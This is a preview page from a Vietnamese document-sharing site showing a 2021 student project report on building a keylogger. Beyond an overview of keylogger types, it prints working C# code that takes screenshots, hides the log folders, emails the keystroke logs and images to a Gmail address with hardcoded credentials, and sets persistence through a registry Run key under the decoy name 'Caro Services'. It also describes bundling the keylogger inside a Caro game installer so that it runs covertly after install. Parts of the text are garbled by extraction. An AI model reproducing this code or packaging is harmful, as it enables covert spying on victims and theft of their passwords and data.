1. Trang chủ
  2. » Công Nghệ Thông Tin

NGHIÊN CỨU VÀ PHÁT TRIỂN THỬ NGHIỆM KEYLOGGER

47 48 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

1 BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC CÔNG NGHIỆP THỰC PHẨM TP.HCM KHOA CÔNG NGHỆ THÔNG TIN - ĐỒ ÁN MÔN HỌC ĐỀ TÀI: NGHIÊN CỨU VÀ PHÁT TRIỂN THỬ NGHIỆM KEYLOGGER Giảng viên hướng dẫn :ThS Trần Đắc Tốt Sinh viên thực :Nguyễn Đức Hùng – 2033181026 Hoàng Hữu Ngọc Điệp - 2033180108 Lớp :09DHBM1 TP,Hồ Chí Minh, năm 2021 LỜI CAM ĐOAN Em xin cam đoan đồ án cơng trình nghiên cứu riêng thân chúng em hướng dẫn ThS.Trần Đắc Tốt… Những nhận định nêu đồ án kết từ nghiên cứu trực tiếp, nghiêm túc, độc lập thân tác giả dựa sở tìm kiếm, hiểu biết nghiên cứu tài liệu khoa học hay dịch khác công bố Đồ án giúp đảm bảo tính khách quan, trung thực khoa học Tp Hồ Chí Minh, ngày tháng năm 2021 Sinh viên thực Nguyễn Đức Hùng Sinh viên thực Hoàng Hữu Ngọc Điệp LỜI CẢM ƠN Trên thực tế khơng có thành công mà không gắn liền với hỗ trợ, giúp đỡ dù hay nhiều, dù trực tiếp hay gián tiếp người khác Trong suốt thời gian từ bắt đầu làm đồ án môn học, chúng em nhận nhiều quan tâm, giúp đỡ q Thầy/Cơ, gia đình bạn bè Với lòng biết ơn sâu sắc nhất, chúng em xin cảm ơn đến quý Thầy/Cô dành hết tâm huyết với tri thức đề truyền đạt vốn kiến thức quý báu cho chúng em suốt thời gian làm đồ án mô học Và đặc biệt em xin chân thành càm ơn thầy Trần Đắc Tốt tận tâm hướng dẫn chúng em qua buổi nói chuyện, thảo luận, khảo sát đề tài Nếu khơng có lời hướng dẫn, dạy bảo thầy chúng em nghĩ báo cáo chúng em khó hoàn thiện Một lần nữa, em xin chân thành cảm ơn thầy Do báo cáo thực khoảng thời gian gần tuần Lần bước vào đề tài Không tránh khỏi thiếu sót điều chắn, em mong nhận ý kiến đóng góp quý báu quý Thầy/Cô để kiến thức em lĩnh vực hồn thiện Tp Hồ Chí Minh, ngày tháng năm 2021 Sinh viên thực Nguyễn Đức Hùng Sinh viên thực Hoàng Hữu Ngọc Điệp TÓM TẮT Theo định nghĩa nhất, keylogger chức records keystrokes máy tính Ở cấp độ này, keylogger dường vô hại Nhưng nằm tay hacker tội phạm mạng, keylogger trở thành công cụ mạnh nhằm mục đích lấy cắp thơng tin bạn Việc tìm hiểu chương trình giúp có kiến thức Keylogger, phần mềm chia làm loại Cách hoạt động chất Keylogger Cách phát phòng chống Keylogger Việc tìm hiểu kiến thức cần thiết cho xây dựng chương trình Keylogger Và yếu tố giúp phát triển chương trình Anti-Keylogger say MỤC LỤC Danh mục từ viết tắt Danh mục bảng Danh mục biểu đồ, đồ thị, sơ đồ, hình ảnh Tồn nội dung Đồ án Chương 1: Tìm hiểu Keylogger cách phịng chống Keylogger Chương 2: Các kỹ thuật qua mặt Anti-Virus Chương 3: Chương trình Keylogger Chương 4: Demo chương trình Keylogger Tài liệu tham khảo: Website: [1] D.Shankle (2020) LMG SECURITY BLOG [online], viewed June 2021, from: Common Antivirus Bypass Techniques | LMG Security [2] Kaspersky (2020) [online], viewed June2021, from: How Hackers Combat and Bypass Antivirus Systems | Kaspersky [3] Security List(2007) [online],viewed June 2021, form: Keyloggers: How they work and how to detect them (Part 1) | Securelist Ebook: [1] Matthew Munns, TROJAN, Kindle Edition, 2017 [2].Hassan Salmani, Trusted Digital Circuits Hardware Trojan Vulnerabilities, Prevention and Detection-Springer (2018) [3] Shamim Miah, Muslims, Schooling and Security_ Trojan Horse, Prevent and Racial PoliticsPalgrave Macmillan (2017) LỜI MỞ ĐẦU Keylogger phần mềm gián điệp Vì đề tài giúp có nhìn tổng quan Keylogger để biết ưu nhược điểm phần mềm này, cách thức hoạt động, từ biết cách phịng chống, phát tránh Keylogger Qua hiểu biết giúp xây dựng, thử nghiệm phát triển Keylogger Để hiểu rõ vào chi tiết phần sau CHƯƠNG I: TÌM HIỂU KEYLLOGER VÀ CÁCH PHỊNG CHỐNG KEYLOGGER 1.1 Lịch sử Keylogger Lịch sử việc sử dụng keylogger cho mục đích giám sát bắt nguồn từ ngày đầu máy tính Wikipedia nêu chi tiết việc sử dụng keylogger lặt vặt năm 1970 đầu năm 1980 cho nhiều mục đích khác nhau, bao gồm hoạt động bí mật phủ Trong hình thức keylogging khác xuất thời gian dài, bùng nổ việc tạo sử dụng keylogger thương mại tăng lên mức đáng kể vào đến cuối năm 1990 với đủ loại sản phẩm nhanh chóng tung thị trường thời gian Kể từ đó, số lượng keylogger thương mại có sẵn để mua bùng nổ lên hàng nghìn sản phẩm khác với nhiều đối tượng mục tiêu khác nhiều ngôn ngữ Và keylogger lịch sử nhắm mục tiêu đến người dùng gia đình để lừa đảo, keylogging nhà nước bảo trợ ngành đại vấn đề nghiêm trọng, thám hiểm lừa đảo làm tổn hại đến nhân viên cấp thấp nhân viên chức năng, sau tìm cách tự vươn lên tổ chức 1.2 Khái niệm Keylogger Bạn có biết bàn phím bạn cho phép tội phạm mạng nghe trộm? Hoặc chúng theo dõi bạn camera hệ thống ? Hay nghe qua micrô điện thoại thơng minh? Keylogger hay “ Trình ghi chép, theo dõi thao tác bàn phím ” dịch hiểu tiếng Việt chương trình máy tính viết dùng để theo dõi, ghi lại liệu bàn phím thao tác lưu vào tập tin (log) người cài đặt sử dụng Do chức mang tính vi phạm vào riêng tư người khác nên chương trình Keylogger xếp vào nhóm phần mềm gián điệp Mặc dù suy nghĩ người dùng, keylogger hoạt động bối cảnh phần mềm độc hại, chúng lúc bất hợp pháp để cài đặt sử dụng 10 Keylogger cơng cụ phổ biến cho tập đồn, mà phận công nghệ thông tin sử dụng để khắc phục cố kỹ thuật hệ thống mạng họ — để theo dõi nhân viên cách lút Điều tương tự xảy bậc cha mẹ, người muốn giám sát hoạt động Vợ / chồng đáng ngờ thị trường khác cho keylogger Trong tất trường hợp vậy, tổ chức cá nhân tải xuống cài đặt keylogger thực sở hữu thiết bị điều hồn tồn hợp pháp Và có hàng ngàn keylogger thương mại Internet, chúng tự quảng cáo cho mục đích sử dụng Sau này, Keylogger phát triển cao hơn, ghi lại thao tác bàn phím, mà cịn ghi lại tất hình ảnh thị hình Bằng cách chụp (screen-shot), quay video (screen-capture), ngồi ghi lại q trình trỏ chuột máy tính di chuyển Tuy nhiên, mối quan tâm keylogger tác nhân độc hại đứng đằng sau chúng Và họ chắn không sở hữu thiết bị mà họ lây nhiễm Bạn khơng biết họ xâm phạm máy tính bạn; tùy thuộc vào loại keylogger, lấy cắp mật bạn nhập, chụp ảnh hình định kỳ, ghi lại trang web bạn xem, truy cập vào email gửi bạn phiên nhắn tin tức thời nào, thơng tin tài nhạy cảm (chẳng hạn số thẻ tín dụng, mã PIN tài khoản ngân hàng), gửi tất liệu qua mạng tới máy tính từ xa máy chủ web Ở đó, người vận hành chương trình ghi nhật ký lấy tất cả, khơng nghi ngờ gửi cho bên thứ ba mục đích tội phạm 1.3 Phân loại Keylogger Tùy thuộc vào phần máy tính mà chúng nhúng vào, tất keylogger phân loại dựa phần mềm dựa phần cứng Năm loại keylogger phổ biến bao gồm: 1.3.1 Keylogger dựa API 33 // Chụp ảnh hình từ góc bên trái xuống góc bên phải gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy); string directoryImage = imageName + DateTime.Now.ToLongDateString(); if (!Directory.Exists(directoryImage)) { Directory.CreateDirectory(directoryImage); } // Lưu ảnh chụp hình vào đường dẫn định string imagePath = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + imageCount, imageExtendtion); try { bmpScreenshot.Save(imagePath, ImageFormat.Png); } catch { } imageCount++; //Hide File.SetAttributes(directoryImage, File.GetAttributes(directoryImage) | FileAttributes.Hidden); } Đầu tiên lấy bmpScreenshot cách tạo bitmap bitmap lấy kích thước hình var bmpScreenshot = new Bitmap (Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height) Và format 32bppArgb Sau tạo Graphics object từ bitmap (kiểu để vẽ ảnh ) 34 var gfxScreenshot = Graphics.FromImage(bmpScreenshot); Sau copy tất hình ảnh, điểm ảnh hình gfxScreenshot.CopyFromScreen Với kích thước X Y, điểm ,0 sau lấy size (Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y,0,0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy); Sau tạo file lưu trữ hình ảnh lại cách tính tốn đường dẫn image string directoryImage = imagePath + DateTime.Now.ToLongDateString(); Kiểm tra folder có tồn hay chưa chưa tạo folder cho if (!Directory.Exists(directoryImage)) { Directory.CreateDirectory(directoryImage); } Sau tính tốn cho file mà ta tạo, đảm bảo hình ảnh khác khác tên sau lưu lại hình ảnh string imageName = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + "_" + imageCount, imageExtendtion); try { bmpScreenshot.Save(imageName, ImageFormat.Png); } imageCount++; 35 3.5 Key Logger C# NET –SendMail static int mailTime = 3000; static void SendMail() { try { MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); mail.From = new MailAddress("email@gmail.com"); mail.To.Add("hungdiep.doan1@gmail.com"); mail.Subject = "Keylogger date: " + DateTime.Now.ToLongDateString(); mail.Body = ":\n"; string logFile = logName + DateTime.Now.ToLongDateString() + logExtendtion; if (File.Exists(logFile)) { StreamReader sr = new StreamReader(logFile); mail.Body += sr.ReadToEnd(); sr.Close(); } string directoryImage = imageName + DateTime.Now.ToLongDateString(); DirectoryInfo image = new DirectoryInfo(directoryImage); foreach (FileInfo item in image.GetFiles("*.png")) { if (File.Exists(directoryImage + "\\" + item.Name)) mail.Attachments.Add(new Attachment(directoryImage + "\\" + item.Name)); } SmtpServer.Port = 587; SmtpServer.Credentials = new System.Net.NetworkCredential("hungdiep.doan1@gmail.com", "Hung123456@"); 36 SmtpServer.EnableSsl = true; SmtpServer.Send(mail); Console.WriteLine("Sent mail!"); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } } Ở gửi mail thông qua gmail, giao thức smtp để gửi file log chứa thông tin victim MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); Những thông tin cho việc send mail: (1) Địa gửi (2) Gửi tới mail (3) Tiêu đề sau mail gửi tới (4) Phần body chứa thông tin victim mail.From = new MailAddress("email@gmail.com"); (1) mail.To.Add("email@gmail.com"); (2) mail.Subject = "Keylogger date: " + DateTime.Now.ToLongDateString(); (3) mail.Body = " :\n"; (4) Ở ta gửi mail + file log Nếu file log tồn đọc hết nội dung StreamReader sau đưa vào nội dung mail if (File.Exists(logFile)) { StreamReader sr = new StreamReader(logFile); 37 mail.Body += sr.ReadToEnd(); sr.Close(); } Đưa đường dẫn hình ảnh string directoryImage = imagePath + DateTime.Now.ToLongDateString(); DirectoryInfo image = new DirectoryInfo(directoryImage); Cho tất hình ảnh có png folder Và hình ảnh tồn gắn vào phần attachment email foreach (FileInfo item in image.GetFiles("*.png")) { if (File.Exists(directoryImage + "\\" +item.Name)) mail.Attachments.Add(new Attachment(directoryImage + "\\" + item.Name)); } - Port mặc định SMTP sever 587 số không thay đổi - Điền thông tin xác thực: thông tin tài khoản, password gmail bạn login gửi đến - Đừng quên open ssl để bảo mật tài khoản Gmail bạn với mã hóa SSL mà khơng phá vỡ trình thơng báo Gmail SmtpServer.Port = 587; SmtpServer.Credentials = newSystem.Net.NetworkCredential("tk", "pw"); SmtpServer.EnableSsl = true; SmtpServer.Send(mail); Nếu mail khơng thành cơng tài khoản bạn chưa chấp nhận quyền đăng nhập từ ứng dụng này, hay vào đường link bên phép: https://www.google.com/settings/u/1/security/lesssecureapps 38 Dùng try catch giúp chương trình sản sinh lỗi q trình send mail 3.6 Key Logger C# NET – Open with OS static void StartWithOS() { //Đăng kí key bên registry theo đường dẫn sau //Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run RegistryKey registryStart = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\Current Version\\Run", true); registryStart.SetValue("Caro Services", Application.ExecutablePath.ToString()); registryStart.Close(); } Cấu trúc để khởi động hệ thống đăng ký key bên registry Ở bạn đăng ký theo đường dẫn: “Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentV ersion\Run” Hoặc “Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\Run” Ở để giấu người dùng bạn đặt tên quen thuộc, tạo cảm giác an toàn đánh lừa người dùng ( Caro Services) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\Cu rrentVersion\\Run", true); - Sau registryKey.Close(); để đóng lưu lại trình tạo key 3.7 Key Logger C# NET – Timer static int interval = 1; static void StartTimer() { 39 Thread thread = new Thread(() => { while (true) { Thread.Sleep(1); if (interval % captureTime == 0) CaptureScreen(); if (interval % mailTime == 0) SendMail(); interval++; if (interval >= 1000000) interval = 0; } } ); thread.IsBackground = true; thread.Start(); } Ở dùng đa luồng Thread mà chạy song song với trình hook keyboard Dùng vịng lập while để lập lập lại trình thực thi bên Trong while ta có Thread.Sleep(1) có nghĩa khoảng thời gian millisecond (tương đương với 1/1000 second) Để tùy chọn thời gian mong muốn: Nếu interval chia hết captureTime (đã báo giá trị hàm CaptureScreen) ta chụp hình lần Nếu interval chia hết mailTime (đã báo giá trị hàm SendMail) ta send mail lần Cứ 1/1000 second, interval ++ Mà tốc độ tùy thuộc vào tốc độ CPU thiết bị 40 Vì interval kiểu int lên giá trị có giới hạn nên cho sau lần đạt giá trị tối đa if (interval >= 1000000) interval = 0; - Nếu ứng dụng mà tắt tắt theo thread.IsBackground = true; CHƯƠNG IV: DEMO CHƯƠNG TRÌNH KEYLOGGER 4.1 Giao diện trị chơi che giấu chương trình Keylogger Hình 4.1.1 Giao điện trò chơi Keylogger Do em lấy source code C# chỉnh sửa nên trò chơi mức khơng có giao diện đẹp Mục đích việc để che giấu Kelogger 41 Sau code xong Keylogger chạy debug, thư mục Keylogger có chương trình với tên (Caro Services) nhằm tạo tên giả tránh bị nghi ngờ Hình 4.1.2 Giao điện trị chơi Keylogger 4.2 Đóng gói chương trình caro với file keylogger (Caro Services) Ở em dùng phần mềm Inno Setup để viết đoạn scipt đóng gói lại Hình 4.2.1 Giao diện Scipt Với hàm #define MyAppName & MyAppName1 Game Caro & Caro Services (keylogger) Với hàm #define MyAppExeName && MyAppExeName Game Caro.exe && Caro Services.exe (keylogger) => chương trình có file exe để thực thi 42 Hình 4.2.2 Giao diện Scipt Với [Source] đường dẫn đến file Game Caro.exe && Caro Services.exe cần thực thi Với [Run] thực thi sau cài chương trình Bấm Ctrl+F9 để build file Game Caro.exe Hình 4.2.2 Giao diện Game Caro.exe 43 4.3 Tiến hành cài file Game Caro Hình 4.3.1 Giao diện cài game Để thư mục tùy ý chọn 44 4.3.2 Giao diện tạo shortcut Tạo shortcut file game caro.exe hình Hình 4.3 Giao diện sau cài xong Ở mặc định tick vào ô người dùng thường cài chạy hết dịch vụ để sử dụng phần mềm Hình 4.3.1 Giao diện chạy chương trình 45 Ở chạy ứng dụng caro lên keylogger chạy ngầm tiến hành ghi log capture screen 4.4 Khởi tạo file log Chương trình có sử dụng cặp file để ghi lại trình gõ phím chụp hình Một file chứa giá trị phím ấn file chứa ảnh hình chụp Thư mục nằm file cài đặt ban đầu: C:\Program Files (x86)\Game Caro Hình 4.3.1 Giao diện file ghi log Do file ẩn giấu nên cần kiểm tra phải show hidden files tab View 46 Và kết thu Hình 4.3 Mở file ghi log 4.5 Kiểm tra gmail để xem keylogger có gửi đến khơng Sau chúng em kiểm tra gmail hungdiep.doan1@gmail.com để xem file gửi đến Hình 4.5 Ảnh gmail keylogger gửi đến 47 KẾT LUẬN Qua quãng thời gian làm đề tài chúng em có thêm thật nhiều kiến thức Cùng với kiến thức HĐH windows song song với trình tìm hiểu keylogger, để dựa vào kiến thức tảng đầy tính chất mang tính thực tiễn, chúng em viết chương trình keylogger đơn giản với mục đích giám sát Kết đạt được: Do thời gian ngắn chúng em chưa có hiểu biết sâu vào HĐH số thư viện hàm cần thiết Chúng em viết keyloggers mức độ Tương lai phát triển: tương lai chúng em cố gắng hoản thiện thêm số chức cho keylogger Dù dùng mục đích giám sát hiệu mang tính chất thực tiễn Trong q trình thực đề tài, dù cố gắng, trình độ, kiến thức, thời gian bị hạn chế, khơng thể tránh khỏi thiếu sót lúc thực Em mong đóng góp ý kiến, định hướng phát triển hoàn thiện Rất cám ơn thầy cô dành thời gian để đọc đánh giá đề tài ... xây dựng, thử nghiệm phát triển Keylogger Để hiểu rõ vào chi tiết phần sau 8 CHƯƠNG I: TÌM HIỂU KEYLLOGER VÀ CÁCH PHỊNG CHỐNG KEYLOGGER 1.1 Lịch sử Keylogger Lịch sử việc sử dụng keylogger cho... thức Keylogger, phần mềm chia làm loại Cách hoạt động chất Keylogger Cách phát phòng chống Keylogger Việc tìm hiểu kiến thức cần thiết cho xây dựng chương trình Keylogger Và yếu tố giúp phát triển. .. Phân loại Keylogger Tùy thuộc vào phần máy tính mà chúng nhúng vào, tất keylogger phân loại dựa phần mềm dựa phần cứng Năm loại keylogger phổ biến bao gồm: 1.3.1 Keylogger dựa API 11 Keylogger

Ngày đăng: 22/12/2021, 21:24

Xem thêm:

TỪ KHÓA LIÊN QUAN

Mục lục

    CHƯƠNG I: TÌM HIỂU KEYLLOGER VÀ CÁCH PHÒNG CHỐNG KEYLOGGER

    1.1. Lịch sử của Keylogger

    1.2. Khái niệm về Keylogger

    1.3 Phân loại các Keylogger

    1.3.1 Keylogger dựa trên API

    1.3.3. Keylogger dựa trên nhân

    1.4 Cách hoạt động của Keylogger

    1.4.1 Thành phần của Keylogger

    1.4.2 Cách thức cài đặt vào máy:

    1.5 Tại sao keylogger là mối đe dọa

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w